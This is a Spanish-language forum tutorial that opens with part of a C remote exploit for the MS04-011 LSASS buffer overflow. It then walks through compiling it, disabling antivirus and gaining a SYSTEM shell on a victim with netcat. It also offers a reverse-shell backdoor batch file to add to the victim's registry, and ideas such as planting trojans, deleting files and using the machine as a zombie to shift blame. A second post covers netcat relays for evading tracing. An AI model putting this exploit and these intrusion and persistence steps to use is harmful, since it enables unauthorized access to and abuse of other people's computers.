"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";




#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90

struct targets {

int num;
char name[50];
long jmpaddr;

} ttarget[]= {

{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }

};

void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf(" -t: Detect remote OS:\n");
printf(" Windows 5.1 - WinXP\n");
printf(" Windows 5.0 - Win2k\n\n");
exit(0);
}



int main(int argc, char *argv[])
{

int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];

unsigned short port;
unsigned long ip;
unsigned char *sc;

char buf[LEN+1];
char sendbuf[(LEN+1)*2];

char req4u[sizeof(req4)+20];

char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];

char recvbuf[1600];

char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];

unsigned int targetnum = 0;

int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;


printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");


if (argc < 4) {
usage(argv[0]);
}

target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);

for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}

memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);

unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);

if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;

if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverseshell[118], &port, 2);
memcpy(&reverseshell[111], &ip, 4);
sc = reverseshell;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bindshell[176], &port, 2);
sc = bindshell;
}


if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);

//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));

memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

memcpy(&buf[2856], sc, strlen(sc));

for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;

memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}

memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

WSAStartup(MAKEWORD(2,0),&wsa);

if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}


their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8);

printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("[*] Connecting to %s:445 ... ", argv[2]);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
exit(1);
}
printf("OK\n");

if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ((argc > 5) || opt) {
printf("[*] Detecting remote OS: ");
for (i=0; i<12; i++) {
printf("%c", recvbuf[48+i*2]);
}
printf("\n");
exit(0);
}

printf("[*] Attacking ... ");
if (send(sockfd, req4u, smblen+4, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);


if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memcpy(screq2k, req8, sizeof(req8)-1);
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

memcpy(screq2k2, req9, sizeof(req9)-1);
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

if (send(sockfd, screq2k, 4348, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, screq2k2, 4060, 0) == -1) {
printf("[-] Send failed\n");
exit(1);
}

} else {
memcpy(screq, req7, sizeof(req7)-1);
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
printf("[-] Send failed\n");
exit(1);
}
}
printf("OK\n");

len = recv(sockfd, recvbuf, 1600, 0);

return 0;
}


Ahora que tenemos el codigo fuente manos a la obra, primero que nada abriremos el dev-c++ y crearemos un nuevo proyecto.

Archivo – nuevo – proyecto.

Y en la ventana que nos abrira ya saben que deben de seleccionar "console application", ponerle un nombre y en este caso en la parte que nos pone el lenguaje deberemos de poner C, como muestra la siguiente imagen:



¿Y por que digo que "en este caso"?
Pues sencillo, habra casos en los que se encuntren exploits que esten programados en C++ y no en C, por ello es bueno siempre revisar las cabeceras de los codigos fuentes que en este caso dice en la prime linea:
/* HOD-ms04011-lsasrv-expl.c:
Si se fijan aqui nos dice que el nombre del archivo es HOD-ms04011-lsasrv-expl.c
Cabe decir que todos los codigos fuentes que esten programados en C, nos los encontraremos con la extensión .c o si se tratan de C++ lo mas seguro es que los veamos como .cpp o .c++

Una vez hecho esto ya saben que hacer, borraremos el codigo fuente que nos creara el compilador y colocaremos el codigo fuente que les puse en este texto.

Antes de compilar vamos a hechar un vistaso al codigo fuente del programa para distinguir varios aspectos, como podran observar nuestro compilador nos cambiara el color de las letras dependiendo de la accion que se trate o en su caso de la funcion a la que se refiera el codigo.

Al comienzo veran que las letras se ven un poco opacas de un tono gris, esto es debido a que se tratan de comentarios en el codigo fuente y no afectan para nada a nuestro programa ¿y como los ubicamos? Es sencillo, si queremos agregar un comentario a lo largo de solo una linea de codigo nos bastara con colocar dos diagonales
//
de modo que todo lo que se escriba de su lado derecho no afectara el codigo fuente de un programa, o si vamos a utilizar muchos renglones lo usual es que coloquemos un
/*
Al comienzo del primer renglón y un
*/
Al final del ultimo renglón, de este modo todo lo que se encuentra dentro de estas dos señales quedara como un comentario.
¿y para que nos sirven los comentarios?
Su principal funcion es que nos ayuden a comprender el codigo fuente de modo que si tenemos muchas funciones, podriamos colocar un comentario diciendo que es lo que hace esa funcion asi, si en un futuro observamos el codigo fuente nos sera mas rapido comprender que era lo que estabamos pensando al momento de crear nuestro programa.

En el caso de los exploits es muy comun encontrarlos con las instrucciones de uso en las primeras lineas a manera de comentarios, como lo podemos observar en este eploit viene la forma en que se ejecuta asi como tambien dice quien lo creo y ademas tambien nos dice en que sistemas operativos fue testeado (probado o utilizado).

Ahora vamos a compilar nuestro exploit... (ya saben presiones F9 y listo)


Como pudieron observar al compilarlo nos marcara bastantes errores y es aquí donde pensaremos que el codigo fuente no funciona, que los he estafado o en el peor de los casos que su compilador ya no sirve y necesitan volverlo a instalar, no se procupen que esto es normal por que en realidad nos hace falta "linkear" la librería llamada "ws2_32", y ¿Cómo se que se tiene que linkear dicha librería? Si ponemos atención en el codigo fuente, para ser exactos en la linea 75 dice algo asi (Nota: al poner el puntero en una linea automáticamente el compilador detecta que numero de linea es y nos lo dice en la parte inferios izquierda de la ventana):

#pragma comment(lib, "ws2_32")

Siempre que encontremos una sintaxis parecida se referira a que tenemos que linkear dicha librería, ahora bien para hacerlo primero tenemos que irnos al menú:

Proyecto – Opciones de proyecto

En la ventana que nos abrira nos desplazamos hasta la pestaña que dice "Argum..." alli se podran ver tres recuadros, en este caso el que nos interesa es el que dice "Enlazador(Linker)", en la parte inferior veremos un boton que dice "Agregar librería u objeto" le damos un clic y a continuación en la ventana que nos abrira deberemos de buscar en nuestra computadora la librería llamada ws2_32, si hicimos una instalacion del Dev-C++ y dimos clic en la opciones predeterminadas deberan de desplazarse hasta C:\Dev-Cpp\lib y alli seleccionar la librería llamada libws2_32.a ahora en la ventana anterior les debera de aparecer algo como esto:



Ahora que dimos en aceptar nos devolvera a donde esta nuestro codigo fuente, antes de que lo compilen debo de hacer algunas aclaraciones, al momento de terminarlo de compilar obtendremos un ejecutable de un exploit (un .exe) el cual es detectado por todos los antivirus como un "virus" o tambien como un "hack tool" dependiendo del antivirus que tengamos instalado inclusive hay algunos que desde el momento de descargar codigo fuente y guardarlo con la extensión .c nos estara molestando diciendo que es un virus y que tiene que eliminarlo.
Siempre que nos encontremos una herramienta de este tipo por Internet y la queramos descargar a nuestro equipo el antivirus nos advertira y no nos dejara utilizarlo.

Digo esto por que ya nos han tocado bastantes comentarios del tipo:
- me descargue un troyano de tu pagina y mi norton me dice que tiene un virus con lo cual deduzco que quieres joderme metiendome un virus a mi computadora y hacerme explotar el disco duro.
Respuesta: un troyano es en realidad un virus y siempre tu antivirus te va a advertir de el aunque no lo hayas ejecutado aun.

- ¿Por que siempre que me bajo un exploit y lo ejecuto no pasa nada?
Respuesta: lo mas seguro es que tu antivirus te lo inutilizo justo al momento de que lo descargaste debido a que te detecto que es un virus.

- ¿Por que cuando me bajo un zip con el exploit siempre aparece una carpeta vacia?
Respuesta: esto es debido a que justo en el momento de que lo descomprimes tu antivirus te los elimina.

Los exploits y virus son herramientas con las cuales puedes entrar a otras computadoras y como consecuencia son dañinas para terceras personas y como la mision de los antivirus es mantener los equipos en buen estado pues es logico que los van a eliminar.

Asi de que ya saben, antes de continuar desactiven su antivirus.

Ahora vamos a compilar y ejecutar nuestro exploit (ya saben presionen F9) y podran observar como una ventanita negra se abre y se cierra rapidamente, esto es a que deberemos de ejecutarlo por medio de una ventana de DOS.

Primero que nada nos desplazamos hasta donde guardamos el codigo fuente del programa (donde nos pregunto el compilador que lo queriamos guardar), una vez alli podremos observar un ejecutable con el nombre que le pusimos a nuestro proyecto, en mi caso yo le puse exploit y por lo tanto me encontrare con una archivo llamado exploit.exe, lo voy a mover de lugar para ejecutarlo mas fácilmente, lo corto y lo pego en la raiz de mi disco duro.

Ahora abrimos una consola de DOS (ya saben como, inicio – ejecutar – y escribimos "cmd" sin las comillas).

Una vez alli me desplazo hasta la raiz de mi disco duro (basta con teclear "cd \"), tecleamos el comando dir para mostrar los archivos que alli se encuentran y verificar que se encuentra nuestro exploit, ahora solo tenemos que teclear el nombre de nuestro exploit y ver que hace:



Como podran observar en la parte que dice "Usage" nos dice como hacerle para ejecutarlo:

ploit <target> <victim IP> <bindport> [connectback IP] [options]

Si son curiosos abran notado que en los comentarios del mismo exploit nos dice todo esto e inclusive nos da un ejemplo.

Para que quede un poco mas claro como se usa este exploit lo vamos a utilizar en contra de un equipo que tengo por aquí en esta misma red, recuerden que el hecho de que yo lo este utilizando en una red no quiere decir que solo se limite a ser usado en redes, sino que tambien puede ser usado con victimas que se encuentran conectadas en Internet solo que si lo vamos a utilizar en contra de un equipo que se encuentra en Internet deberemos de averiguar su IP Publica y si estan conectados a Internet por medio de una router tendremos que mapear los puertos (si no habeis entendido estos conceptos, lee un poco mas arriba que ya se explico las diferencias entre una ip publica y una ip privada asi como tambien se explico como mapear los puertos a varios routers).

Una vez hechas las aclaraciones comencemos con la parte practica en el uso de este exploit.

Escenario:
IP del equipo atacante (ese soy yo):
192.168.1.2

IP del equipo victima:
192.168.1.10

Pues como lo unico que se de mi equipo victima es la ip, sera necesario que averiguemos que sistema operativo tiene para poder utilizar el exploit, para ello ejecutamos:

exploit 0 192.168.1.10 6000 –t

en donde yo puse 0 pueden colocar 1 si quieren asi como tambien donde yo puse 6000 ustedes pueden colocar el puerto que quieran de todas formas en este caso solo lo hacemos para averiguar que sistema operativo tiene, en mi caso me devuelve "Windows 5.1"

C:\>exploit 1 192.168.1.10 6000 -t

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
[*] Connecting to 192.168.1.10:445 ... OK
[*] Detecting remote OS: Windows 5.1


por lo tanto se trata de un Windows xp, asi de que ya sabemos que "target" utilizar, cera el 0 (para los que esten algo perdidos, hasta ahora solo he deducido de lo que el mismo exploit me ha dicho asi como tambien de las opciones que sacamos cuando lo ejecutamos solo miren la imagne que esta un poco mas arriba).

En el caso de este exploit tenemos dos formas de ejecutarlo y lograr acceso a la victima, una es por medio de conexión directa y otra es por medio de una conexión inversa, la diferencia entre una y otra es que en la primera, nosotros nos tenemos que conectar al equipo victima por medio de un puerto que nos pondra a la escucha y en la segunda opcion el equipo victima se conectara a nosotros pero para ello primero tenemos que tener un netcat a la escucha en el puerto que vayamos a utilizar, hare las dos forma para que quede un poco mas claro.

CONEXIÓN DIRECTA

En esta forma primero que nada deberemos de ejecutar el exploit con de la siguiente forma(recuerden que yo utilizare el 0 por que se trata de un winxp):
exploit 0 192.168.1.10 6000

una vez ejecutado nos apareceran esto:
C:\>exploit 0 192.168.1.10 6000

MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---

[*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 192.168.1.10:445 ... OK
[*] Attacking ... OK


Después de que diga "Attacking ... OK" solo deberemos de conectarnos a la victima con nuestro netcat en el puerto que elegimos (yo use el 6000).

Si no tienen el netcat lo pueden descargar del siguiente link:
http://safariexamples.informit.com/0201719568/Misc/Netcat/NT/nc11nt.zip

Si el link no funciona para cuando lean esto solo denle una pequeña buscada en google y seguro no tardaran nada.

Si quieren saber un poco mas sobre esta maravillosa herramienta les recomiendo lean los siguientes links:
http://foro.elhacker.net/index.php/board,15/action,display/threadid,15859.html
http://foro.elhacker.net/index.php/topic,58032.0.html


Muy bien, ahora que ya tenemos el netcat solo basta con ejecutarlo para conectarnos a la victima con el comando :

nc –vv 192.168.1.10 6000

y con esto ya tendran una bonita shell remota con privilegios de system como podemos observar en la siguiente imagen:



Como pueden observar una vez ejecutado el comando del netcat me coloco el puntero dentro de la carpeta "C:\Windows\system32" y es por ello que se deduce que me dio una shell de comandos remota con privilegios de system, de lo contrario en caso de que me hubiera dejado en la carpeta "C:\Documents and Settings\usuario" queria decir que obtuve una shell con los mismos privilegios del usuario que estaba utilizando el equipo en ese momento.

Nota: Recuerden que para poder ejecutar el netcat necesitan abrir una ventana de DOS en Windows y desde alli ejecutar las opciones (inicio – ejecutar – cmd) pero primero tienen que encontrarse en la carpeta que contiene el ejecutable del netcat(nc.exe) o en el mejor de los casos descarguen el netcat y coloquendo dentro de C:\Windows\System32 y asi ya lo podran ejecutar desde cualquier directorio en la linea de comandos.


CONEXIÓN INVERSA

Esta forma es casi igual de sencilla que la anterior solo que esta vez necesitaremos poner primero un netcat a la escucha en nuestro equipo, para ello abrimos una ventana de DOS y ejecutamos el comando:

nc –vv –l –p 6000

y dejamos esa ventana abierta.

Ahora abrimos otra ventana para ejecutar el exploit pero esta vez colocaremos el siguiente comando:

exploit 0 192.168.1.10 6000 192.168.1.2

recuerden que mi ip es 192.168.1.2, en su caso deberan de poner la ip que ustedes tengan y tambien tienen que tomar en cuenta que si ustedes se conectan a Internet por medio de una red, primero deberan de mapear el puerto que vayan a utilizar en el router (explico como hacer eso un poco mas arriba no sean flojos y leando).

Si todo salio bien les ocurrira lo mismo que a mi, observen la siguiente imagen:



La ventana que se enuentra en la parte superior es en la que puse en el netcat a la escucha y la ventana que se encuentra en la parte inferios fue en la que ejecute el exploit, como pueden observar justo después de ejecutar el exploit obtuve la shll remota del equipo victima en la otra ventana asi de que ahora ya tengo control absoluto de sus sistema.



Bueno bueno... hasta aquí todo muy bonito pero muchos se preguntaran ¿ya tengo la shell remota y ahora que hago? Pues si no tienen mucha imaginación lo mejor sera que cierren la ventana y mejor se vayan a dormir xD... si ya han leido varios textos de hacking sabran que ya estamos en la gloria por que tenemos control absoluto del sistema pero no por ello debemos de abusar ya que si hacemos algo que pudiera alertar al usuario de dicho pc lo mas seguro es que apague la computadora y como consecuencia ya no tendremos acceso, ademas siempre que logremos ingresar a un sistema lo mejor es crearse una puerta trasera para después volver a entrar cuando nos plasca sin necesidad de volver a realizar todos los pasos que hasta aquí hemos realizado.
Para crear una puerta trasera lo que podemos hacer es subirle un troyano a su pc y nosotros mismos ejecutarselo ademas después de todo tenemos una shell remota asi de que no necesitamos la intervención del usuario para ejecutarlo.
Otra opcion seria ponerle un netcat a la escucha y asi nosotros nos podemos conectar a dicho pc cuando queramos, aquí explico como hacer eso y varias cosillas mas:
http://foro.elhacker.net/index.php/topic,58032.0.html

Existen varias formas de hacerlo, otro metodo por medio de netcat que es bastante ingenioso y original es uno explicado por skilled aquí lo pongo a manera de cita:
CitarBueno posteo mi forma de dejar un backdoor reverse shell:

Creo el siguiente bat:

@echo off
:svr
nc -d -e cmd.exe x.x.x.x 3333>nul
ping -n 60 localhost>nul
goto svr


Si ejecuto el siguiente bat intentara la conexion a x.x.x.x aproximadamente cada minuto creando un bucle infinito.
(Podemos quitar la linea del ping para que intente la conexion infinitamente).

El problema de la ejecución de este backdoor es el cuadro de dialogo de secuencia de comandos. Para poder ocultarlo compilamos el bat con quick batch file compiler triando la opcion ghost application para que oculte el cuadro.
Finalmente añadimos el exe en el registro de la victima y con tansolo poner en nuestra shell: nc -vv -l -p 3333 obtendremos su shell, y si cerramos la conexion la podremos volver a obtener del mismo metodo.

Nose si alguien ya utilizo este metodo.. yo solo he visto utilizar backdoors revere shell con comandos at. Bueno espero que sirva igual.


Ya que tenemos una puerta trasera pues quizas nos queramos divertir un poco asi de que... ¿Por qué no tomamos control absoluto de su escritorio? Si si, asi como se escucha, que nosotros desde nuestra computadora podamos ver su escritorio y ademas tambien le podamos mover su puntero como si del nuestro se tratara, si quieren hacer eso les recomiendo lean el siguiente post:
http://foro.elhacker.net/index.php/topic,41671.0.html

Si lo unico que quieren es subirle y bajarle archivos, pues nada mejor que TFTP (mas arriba explico como se usa), tambien podriamos matarle procesos y asi quizas se asustaria un poco pensando que el pc se ha vuelto loco, tambien pueden moverle sus archivos, copiarlos o eliminarlos si lo desean o si lo prefieren y quieren ser un poco mas discretos pues le apagan el pc con el comando "shutdown" con la opcion -s desde la shell remota y vuala se tendra que ir a dormir sin terminar de chatear con sus amigos.

Ya siendo un poco mas malos lo mejor seria utilizar dicho pc como zombie de modo que nos sirviera de puente para entrar a otros pcs, asi si alguien nos pilla entrando a alguna otra computadora o haciendo algo indevido en un sitio web, pues la culpa recaira sobre la ip que ingreso a dicha web y como en este caso no fuimos nosotros sino nuestra victima manipulada por nosotros pues ve tu a decirme quien saldra mal...


zhyzura

#9
By Kamsky

Bueno, aunque este tema también está muy trillado, quizás haya gente que únicamente utiliza el Netcat para conseguir una shell/reverse shell

A parte de esto, hay bastantes funcionalidades que nos ofrece esta navaja suiza, y que en algún momento dado nos pueden servir de ayuda.

Este texto no pretende ser una guía exhaustiva, simplemente un punto de partida para que la gente le pique la curiosidad y explore un poquito más los posibles usos del Netcat

- Transferencia de archivos:

Hay momentos, en que estamos buscando pasarnos archivos de un host a otro y no sabemos como, netcat nos ofrece una forma muy cómoda de conseguir esto, sin necesidad de montarnos un mini FTP o cualquier otra cosa que se nos ocurra.

Es tan sencillo como lo siguiente:
en el servidor: # netcat -l -p 5050 > pass.txt
en el cliente: # cat pass.txt | netcat ip_server 5050

Con esto conseguimos pasarnos sin problemas un simple archivo de texto, pero....
Que pasa si queremos ir un pelín más allá, y pasarnos un binario (un ejecutable, un simple fichero openoffice,...)?¿?¿
Vamos a probar a ver que ocurre:

en el servidor: # netcat -l -p 5050 > ej.odt
en el cliente: # cat salida.odt | netcat ip_server 5050

Y ahora comprobemos (suponiendo que el ejemplo lo hemos hecho en la misma máquina):
# diff ej.odt salida.odt
#


Como vemos, no hay NINGUNA diferencia, asi que podremos transmitir binarios sin problemas... ;-) :silbar:


- Relays utilizando netcat:

Para este ejercicio necesitaremos 3 máquinas distintas. Crearemos un relay
en la máquina Linux utilizando un netcat ejecutándose en modo de escucha y como cliente.
Este reenvío dirigirá los datos de una primera máquina(A) hacia otra(B).
Esta máquina de reenvío conectará una primera máquina ejecutando un
netcat en modo cliente con una tercera (C) ejecutando netcat en modo servidor
o escucha.

Una vez establecido, el reenvío podría permitir el acceso a esta última
máquina desde la máquina original.

El host intermedio hace de proxy, de forma que nosotros nos conectamos a el
y el nos conecta al servidor final, de esta forma conseguimos que sea más
dificil rastrearnos, ya que en los logs del server aparecerá la Ip del host
relay.
Obviamente cuantos más hosts intermedios usemos más dificil se hará
la tarea de rastrearnos.

Una manera de crear relays es unir la entrada y la salida de un cliente y
servidor netcat utilizando un chero especial denominado FIFO (First In, First Out).
Podemos crear un fichero FIFO y utilizarlo para unir un netcat en modo
servidor con un cliente con las siguientes órdenes:

# mknod backpipe p
# nc -l -p [puertoA] 0<backpipe | nc [IP_Destino] [Puerto_Destino] 1>backpipe


Donde el puertoA es el puerto donde escucha el relay y Puerto_Destino es el
puerto de la máquina destino (IP_Destino) donde hemos situado la puerta trasera
con la shell. Es importante no poner espacios en las redirecciones (>,<). Estas
redirecciones permiten dirigir la entrada y salida estándar hacia backpipe y no
pueden tener espacios junto a ellos.
Para que esto funcione es necesario que si tenemos un mecanismo de filtrado
de paquetes permitamos que el paso de los paquetes hacia la máquina C. Es
posible que si tenemos activo iptables (que puede funcionar como un cortafuegos)
esto no esté permitido. Podemos desactivar iptables del siguiente modo:
/etc/init.d/iptables stop

Bueno, pues manos a la obra, como dijimos, vamos a necesitar 3 máquinas (en mi caso,
el propio host donde trabajo, y 2 máquinas virtuales), las IP's son las siguientes:
Citar
Server: 192.168.1.129
Relay: 172.16.72.135
Cliente: 172.16.72.136

Procedamos pues.

En el Servidor, mediante netcat dejamos un puerto a la escucha con una shell de regalo:
# nc -l -p 5555

